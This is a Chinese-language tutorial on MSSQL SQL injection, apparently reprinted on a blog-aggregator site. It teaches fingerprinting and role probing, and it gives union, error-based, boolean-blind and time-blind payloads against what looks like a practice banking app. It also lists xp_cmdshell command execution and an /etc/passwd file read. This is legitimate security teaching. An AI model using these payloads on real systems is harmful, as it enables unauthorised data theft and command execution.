WEB安全--SQL注入--MSSQL注入

一、SQLsever知識點了解

1.1、系統變量

版本號:@@version

用戶名:USERSYSTEM_USER

庫名:DB_NAME()

? ? ? ? ? ?SELECT name FROM master..sysdatabases

表名:SELECT name FROM sysobjects WHERE xtype='U'

字段名:SELECT name FROM syscolumns WHERE id=OBJECT_ID('table')

1.2、TOP

MSSQL中的TOP關鍵字相當于MySQL中的limit

//MSSQL
SELECT TOP 1 column FROM table --返回第一行數據
//MySQL
SELECT column FROM table LIMIT 1 --返回第一行數據

1.3、字符串拼接

MSSQL中的"+"的作用相當于MySQL中的concat()函數

//MSSQL
'a' + CAST(column AS VARCHAR)
//MySQL
CONCAT('a', column)

1.4、延時

MSSQL中的?WAITFOR DELAY?的作用相當于MySQL中的sleep()函數

//MSSQL
IF(1=1) WAITFOR DELAY '0:0:5'
//MySQL
IF(1=1, SLEEP(5), 0)

1.5、其他注意點

單行注釋:MSSQL 中 --必須加空格,否則有時解析失敗

堆疊語句:MSSQL默認支持堆疊查詢

執行命令/讀取文件:

????????MSSQL 注入可配合擴展組件(如 xp_cmdshell)執行系統命令:

????????????????EXEC master..xp_cmdshell 'whoami'

????????MySQL 通常通過 LOAD_FILE('/etc/passwd') 等方式讀取服務器文件

二、SQLsever信息查詢

2.1、判斷數據庫類型

/* sysobjects 為 MSSQL 數據庫中獨有的數據表,如果頁面返回正常即可表示為 MSSQL 數據庫 */
?id=1 and (select count(*) from sysobjects)>0 --
/* 通過 MSSQL 數據庫中特有的延時函數進行判斷 */
?id=1;WAITFOR DELAY '00:00:10'; -- 

2.2、基本信息

//查詢版本信息
SELECT @@VERSION;
//查詢當前用戶名
SELECT SYSTEM_USER;
SELECT USER_NAME();
//查詢數據庫名
SELECT DB_NAME();
//查詢當前登錄的主機名和登錄名
SELECT HOST_NAME(), SUSER_NAME();

2.3、庫

SELECT name FROM sys.databases;

2.4、表

//這將返回當前數據庫中的所有用戶表(sys.tables)或者基于 information_schema 的標準查詢
SELECT name FROM sys.tables;
or
SELECT name FROM information_schema.tables;
or
SELECT name FROM sysobjects WHERE xtype='U'; --只有表名

2.5、列

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'YourTableName';
or
SELECT name FROM syscolumns WHERE id=OBJECT_ID('table');

2.5、判斷當前服務器級別角色(Server-level roles)

SQL Server 2019 和以前的版本提供了 9 個不同級別的服務器級角色以幫助用戶管理服務器上的權限:

?id=1 and 1=(select is_srvrolemember('sysadmin'))--
?id=1 and 1=(select is_srvrolemember('serveradmin'))--
?id=1 and 1=(select is_srvrolemember('securityadmin'))--
?id=1 and 1=(select is_srvrolemember('processadmin'))--
?id=1 and 1=(select is_srvrolemember('setupadmin'))--
?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
?id=1 and 1=(select is_srvrolemember('diskadmin'))--
?id=1 and 1=(select is_srvrolemember('dbcreator'))--
?id=1 and 1=(select is_srvrolemember('public'))--

2.6、判斷當前數據庫級別角色(Database-level roles)

數據庫級角色的權限作用域為數據庫范圍,下表顯示了固定數據庫角色及其能夠執行的操作:

?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--

?2.7、服務器級別角色和數據庫級別角色區別

對比項服務器級別角色數據庫級別角色
作用范圍整個 SQL Server 實例單個數據庫
控制權限實例級權限:登錄管理、數據庫創建、配置等數據操作權限:表訪問、存儲過程執行等
示例角色sysadmin,?serveradmin,?securityadmin?等db_owner,?db_datareader,?db_datawriter?等
存儲在哪sys.server_principals,?sys.server_role_memberssys.database_principals,?sys.database_role_members
授權對象登錄(Login)用戶(User)
授權語法ALTER SERVER ROLE ...ALTER ROLE ...
注入測試中關注點能否提權、開啟 xp_cmdshell、讀寫文件等能否讀取數據、修改數據、執行存儲過程等

三、MSSQL注入手段

3.1、聯合注入

方法與一般的 SQL 聯合注入相同。值得注意的是,MSSQL 聯合注入一般不使用數字占位,而是 NULL,因為使用數字占位可能會發生隱式轉換。

?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--

?

3.2、報錯注入

MSSQL 數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入。

//表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
//表中的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--
//具體數據
?id=1 and 1=(select top 1 branch from fsb_accounts);--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--

3.3、布爾盲注

方法與一般的 SQL 布爾盲注相同,使用 ASCII 碼逐個比較字符,將返回為 True 的結果輸出即可。

?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--

3.4、時間盲注

MSSQL 數據庫中的 WAITFOR 延時存儲過程可以用來時間盲注,當語句執行成功,頁面延時返回即為 True。

?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/82300.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/82300.shtml
英文地址,請注明出處:http://en.pswp.cn/web/82300.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

工作流引擎-18-開源審批流項目之 plumdo-work 工作流,表單,報表結合的多模塊系統

工作流引擎系列 工作流引擎-00-流程引擎概覽 工作流引擎-01-Activiti 是領先的輕量級、以 Java 為中心的開源 BPMN 引擎&#xff0c;支持現實世界的流程自動化需求 工作流引擎-02-BPM OA ERP 區別和聯系 工作流引擎-03-聊一聊流程引擎 工作流引擎-04-流程引擎 activiti 優…

Docker 筆記 -- 借助AI工具強勢輔助

常用命令 鏡像管理命令&#xff1a; docker images&#xff08;列出鏡像&#xff09; docker pull&#xff08;拉取鏡像&#xff09; docker build&#xff08;構建鏡像&#xff09; docker save/load&#xff08;保存/加載鏡像&#xff09; 容器操作命令 docker run&#…

5G-A時代與p2p

5G-A時代正在走來&#xff0c;那么對P2P的影響有多大。 5G-A作為5G向6G過渡的關鍵技術&#xff0c;將數據下載速率從千兆提升至萬兆&#xff0c;上行速率從百兆提升至千兆&#xff0c;時延降至毫秒級。這種網絡性能的跨越式提升&#xff0c;為P2P提供了更強大的底層支撐&#x…

Redis-6.2.9 主從復制配置和詳解

1 主從架構圖 192.168.254.120 u24-redis-120 #主庫 192.168.254.121 u24-redis-121 #從庫 2 redis軟件版本 rootu24-redis-121:~# redis-server --version Redis server v6.2.9 sha00000000:0 malloclibc bits64 build56edd385f7ce4c9b 3 主庫redis配置文件(192.168.254.1…

004 flutter基礎 初始文件講解(3)

之前&#xff0c;我們正向的學習了一些flutter的基礎&#xff0c;如MaterialApp&#xff0c;Scaffold之類的東西&#xff0c;那么接下來&#xff0c;我們將正式接觸原代碼&#xff1a; import package:flutter/material.dart;void main() {runApp(const MyApp()); }class MyAp…

Linux 系統 Docker Compose 安裝

個人博客地址&#xff1a;Linux 系統 Docker Compose 安裝 | 一張假鈔的真實世界 本文方法是直接下載 GitHub 項目的 release 版本。項目地址&#xff1a;GitHub - docker/compose: Define and run multi-container applications with Docker。 執行以下命令將發布程序加載至…

Tree 樹形組件封裝

整體思路 數據結構設計 使用遞歸的數據結構&#xff08;TreeNode&#xff09;表示樹形數據每個節點包含id、name、可選的children數組和selected狀態 狀態管理 使用useState在組件內部維護樹狀態的副本通過deepCopyTreeData函數進行深拷貝&#xff0c;避免直接修改原始數據 核…

tortoisegit 使用rebase修改歷史提交

在 TortoiseGit 中使用 rebase 修改歷史提交&#xff08;如修改提交信息、合并提交或刪除提交&#xff09;的步驟如下&#xff1a; --- ### **一、修改最近一次提交** 1. **操作**&#xff1a; - 右鍵項目 → **TortoiseGit** → **提交(C)** - 勾選 **"Amend…

中科院報道鐵電液晶:從實驗室突破到多場景應用展望

2020年的時候&#xff0c;相信很多關注科技前沿的朋友都注意到&#xff0c;中國科學院一篇報道聚焦一項有望改寫顯示產業格局的新技術 —— 鐵電液晶&#xff08;FeLC&#xff09;。這項被業內稱為 "下一代顯示核心材料" 的研究&#xff0c;究竟取得了哪些實質性進展…

論文閱讀(六)Open Set Video HOI detection from Action-centric Chain-of-Look Prompting

論文來源&#xff1a;ICCV&#xff08;2023&#xff09; 項目地址&#xff1a;https://github.com/southnx/ACoLP 1.研究背景與問題 開放集場景下的泛化性&#xff1a;傳統 HOI 檢測假設訓練集包含所有測試類別&#xff0c;但現實中存在大量未見過的 HOI 類別&#xff08;如…

74道Node.js高頻題整理(附答案背誦版)

簡述 Node. js 基礎概念 &#xff1f; Node.js是一個基于Chrome V8引擎的JavaScript運行環境。它使得JavaScript可以在服務器端運行&#xff0c;從而進行網絡編程&#xff0c;如構建Web服務器、處理網絡請求等。Node.js采用事件驅動、非阻塞I/O模型&#xff0c;使其輕量且高效…

年齡是多少

有5個人坐在一起&#xff0c;問第五個人多少歲&#xff1f;他說比第四個人大兩歲。問第四個人歲數&#xff0c;他說比第三個人大兩歲。問第三個人&#xff0c;又說比第二個人大兩歲。問第二個人&#xff0c;說比第一個人大兩歲。最后問第一個人&#xff0c;他說是10歲。請問他們…

華為OD機試真題——模擬消息隊列(2025A卷:100分)Java/python/JavaScript/C++/C語言/GO六種最佳實現

2025 A卷 100分 題型 本文涵蓋詳細的問題分析、解題思路、代碼實現、代碼詳解、測試用例以及綜合分析; 并提供Java、python、JavaScript、C++、C語言、GO六種語言的最佳實現方式! 2025華為OD真題目錄+全流程解析/備考攻略/經驗分享 華為OD機試真題《模擬消息隊列》: 目錄 題…

LangChain-結合GLM+SQL+函數調用實現數據庫查詢(三)

針對 LangChain-結合GLM+SQL+函數調用實現數據庫查詢(二)-CSDN博客 進一步簡化 通過 LangChain 和大語言模型(GLM-4)實現了一個 AI 代理,能夠根據自然語言提問自動生成 SQL 查詢語句,并連接 MySQL 數據庫執行查詢,最終返回結果。 整個流程如下: 用戶提問 → AI 生成 SQ…

ZLG ZCANPro,ECU刷新,bug分享

文章目錄 摘要 ??問題的起因bug分享 ?思考&反思 ??摘要 ?? ZCANPro想必大家都不陌生,買ZLG的CAN卡,必須要用的上位機軟件。在汽車行業中,有ECU軟件升級的需求,通常都通過UDS協議實現程序的更新,滿足UDS升級的上位機要么自己開發,要么用CANoe或者VFlash,最近…

第2期:APM32微控制器鍵盤PCB設計實戰教程

第2期&#xff1a;APM32微控制器鍵盤PCB設計實戰教程 一、APM32小系統介紹 使用apm32鍵盤小系統開源工程操作 APM32是一款與STM32兼容的微控制器&#xff0c;可以直接替代STM32進行使用。本教程基于之前開源的APM32小系統&#xff0c;鏈接將放在錄播評論區中供大家參考。 1…

單元測試-斷言常見注解

目錄 1.斷言 2.常見注解 3.依賴范圍 1.斷言 斷言練習 package com.gdcp;import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test;//測試類 public class UserServiceTest {Testpublic void testGetGender(){UserService userService new UserService…

每日算法-250602

每日算法學習記錄 - 250602 今天學習和復習了兩道利用前綴和與哈希表解決的子數組問題&#xff0c;特此記錄。 560. 和為 K 的子數組 題目 思路 本題的核心思想是利用 前綴和 與 哈希表 來優化查找過程。 解題過程 題目要求統計和為 k 的子數組個數。 我們首先預處理出一…

Arch安裝botw-save-state

devkitPro https://blog.csdn.net/qq_39942341/article/details/148387077?spm1001.2014.3001.5501 cargo https://blog.csdn.net/qq_39942341/article/details/148387783?spm1001.2014.3001.5501 megaton https://blog.csdn.net/qq_39942341/article/details/148388164?spm…

STM32學習筆記---時鐘樹

目錄 一、時鐘樹&#xff1a;M3---STM32F103 1、主要時鐘來源 ?2、時鐘系統線路分析 HSE時鐘 HSI時鐘 LSE時鐘 LSI時鐘 PPLCLK ---鎖相環時鐘 SYSCLK ---系統時鐘 HCLK時鐘 PCLK1時鐘 PCLK2時鐘 3、時鐘樹簡圖 4、構成部分作用分析 二、時鐘樹&#xff1a;M4-…